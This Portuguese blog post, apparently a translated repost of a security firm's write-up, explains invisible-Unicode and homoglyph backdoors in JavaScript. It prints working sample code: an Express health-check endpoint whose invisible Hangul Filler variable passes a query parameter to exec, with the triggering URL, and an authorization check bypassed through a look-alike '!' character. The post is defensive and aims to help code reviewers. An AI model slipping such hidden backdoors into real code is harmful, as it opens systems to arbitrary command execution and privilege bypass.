Categories: ALERTAS

O backdoor invisivel do javascript

Escrito por Wolfgang Ettlinger em

Esta postagem inspirou uma ideia: e se um backdoor literalmente não puder ser visto e, portanto, evite ser detectado até mesmo em análises completas de código?

Quando estávamos terminando esta postagem no blog, uma equipe da Universidade de Cambridge publicou um artigo descrevendo esse ataque. A abordagem deles, no entanto, é bem diferente da nossa – ela se concentra no mecanismo bidirecional Unicode (Bidi). Implementamos uma versão diferente do que o jornal intitula “ Ataques de personagens invisíveis ” e “ Ataques de homóglifos “.

Sem mais delongas, aqui está a porta dos fundos . Você pode identificá-lo?

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

Os implementos de script um exame de saúde da rede muito simples HTTP endpoint que executa ping -c 1 google.com, bem como curl -s http://example.come retorna se esses comandos executados com sucesso. O parâmetro HTTP opcional timeoutlimita o tempo de execução do comando.

A porta de trás

Nossa abordagem para criar a porta dos fundos foi, primeiro, encontrar um caractere Unicode invisível que pode ser interpretado como um identificador / variável em JavaScript. A partir da versão ECMAScript 2015, todos os caracteres Unicode com propriedade Unicode ID_Startpodem ser usados ​​em identificadores (caracteres com propriedade ID_Continuepodem ser usados ​​após o caractere inicial).

O caractere “ㅤ” (0x3164 em hexadecimal) é denominado “HANGUL FILLER” e pertence à categoria Unicode “Letra, outra” . Como esse caractere é considerado uma letra , ele tem a ID_Startpropriedade e pode, portanto, aparecer em uma variável JavaScript – perfeito!

Em seguida, uma maneira de usar esse personagem invisível despercebido teve que ser encontrada. O seguinte visualiza a abordagem escolhida, substituindo o caractere em questão por sua representação de sequência de escape :

    const { timeout,\u3164} = req.query;

Uma atribuição de desestruturação é usada para desconstruir os parâmetros HTTP req.query. Ao contrário do que pode ser visto , o parâmetro timeoutnão é o único parâmetro extraído do req.queryatributo! Uma variável adicional / parâmetro HTTP chamado “ㅤ” é recuperado – se um parâmetro HTTP chamado “ㅤ” é passado, ele é atribuído à variável invisível .

Da mesma forma, quando a checkCommandsmatriz é construída, esta variável é incluída na matriz:

    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',\u3164
    ];

Cada elemento na matriz, os comandos codificados permanentemente, bem como o parâmetro fornecido pelo usuário, é então passado para a execfunção. Esta função executa comandos do sistema operacional. Para um invasor executar comandos arbitrários do sistema operacional, ele teria que passar um parâmetro denominado “ㅤ” (em sua forma codificada por URL) para o endpoint:

http://host:8080/network_health?%E3%85%A4=<any command>

Esta abordagem não pode ser detectada por meio do destaque de sintaxe, pois os caracteres invisíveis não são exibidos e, portanto, não são coloridos pelo IDE / editor de texto:

O ataque requer o IDE / editor de texto (e a fonte usada) para renderizar corretamente os caracteres invisíveis. Pelo menos o Notepad ++ e o VS Code o renderizam corretamente (no VS Code o caractere invisível é ligeiramente mais largo do que os caracteres ASCII). O script se comporta conforme descrito pelo menos com o Nó 14.

Abordagens de homoglifos

Além de caracteres invisíveis, também é possível introduzir backdoors usando caracteres Unicode que se parecem muito com, por exemplo, operadores:

const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */const environment = 'PRODUCTION';
/* … */function isUserAdmin(user) {
    if(environmentǃ=ENV_PROD){
        // bypass authZ checks in DEV
        return true;
    }

    /* … */    return false;
}

O caractere “ǃ” usado não é um ponto de exclamação, mas um caractere “ CLIQUE ALVEOLAR ”. A linha a seguir, portanto, não compara a variável environmentà string, "PRODUCTION"mas, em vez disso, atribui a string "PRODUCTION"à variável previamente indefinida environmentǃ:

    if(environmentǃ=ENV_PROD){

Portanto, a expressão dentro da instrução if é sempre true(testada com o Nó 14).

Existem muitos outros caracteres semelhantes aos usados ​​no código que podem ser usados ​​para tais propósitos (por exemplo, “/”, “-”, “+”, “⩵”, “❨”, “⫽”, “꓿” , “∗”). O Unicode chama esses caracteres de “confundíveis” .

Remover

Observe que mexer com o Unicode para ocultar códigos vulneráveis ​​ou maliciosos não é uma ideia nova (também usando caracteres invisíveis ) e o Unicode inerentemente abre possibilidades adicionais para ofuscar o código . No entanto, acreditamos que esses truques são bem legais, e é por isso que queremos compartilhá-los.

O Unicode deve ser levado em consideração ao fazer revisões de código de contribuidores desconhecidos ou não confiáveis. Isso é especialmente interessante para projetos de código aberto, pois eles podem receber contribuições de desenvolvedores que são efetivamente anônimos.

A equipe de Cambridge propõe restringir caracteres Bidi Unicode. Como mostramos, ataques de homoglifos e personagens invisíveis também podem representar uma ameaça. Em nossa experiência, caracteres não ASCII são muito raros no código. Muitas equipes de desenvolvimento escolheram usar o inglês como o idioma de desenvolvimento principal (tanto para código quanto para strings dentro do código) para permitir a cooperação internacional (o ASCII cobre todos / a maioria dos caracteres usados ​​no idioma inglês). A tradução para outros idiomas geralmente é feita por meio de arquivos dedicados. Quando revisamos o código do idioma alemão, vemos principalmente caracteres não-ASCII sendo substituídos por caracteres ASCII (por exemplo, ä → ae, ß → ss). Portanto, pode ser uma boa ideia proibir quaisquer caracteres não ASCII.

Fonte: https://certitude.consulting/

Ninja

Na cena de cybersecurity a mais de 25 anos, Ninja trabalha como evangelizador de segurança da informação no Brasil. Preocupado com a conscientização de segurança cibernética, a ideia inicial é conseguir expor um pouco para o publico Brasileiro do que acontece no mundo.

Recent Posts

Estudo de Stanford liga companheiros de IA a menor bem-estar

Pesquisa com 1.131 usuários do Character.AI e 464 mil mensagens doadas encontrou associação entre uso…

2 dias ago

Qwen3.8-Max: Alibaba promete abrir pesos de modelo de 2,4 tri

Modelo de mistura de especialistas ativa 95 bilhões de parâmetros por token e traz rastros…

2 dias ago

Argus: runtime de agentes de IA atinge 78% no SWE-Bench Pro

Relatório técnico da Microsoft com nove universidades descreve um runtime que mantém estado durável entre…

2 dias ago

khunt: invasores rodam toolkit dentro do banco Oracle

Injeção de SQL em campo de autocompletar levou invasores a compilar um kit Java como…

2 dias ago

ClickFix no macOS esconde isca atrás de fingerprinting

Microsoft rastreou mais de 250 domínios que só mostram a isca a quem parece usar…

2 dias ago

IA autônoma encontra 14 mil vulnerabilidades em código aberto

Sistema agêntico da Unit 42 varreu 3.915 projetos em dois meses e reportou 14.090 falhas…

2 dias ago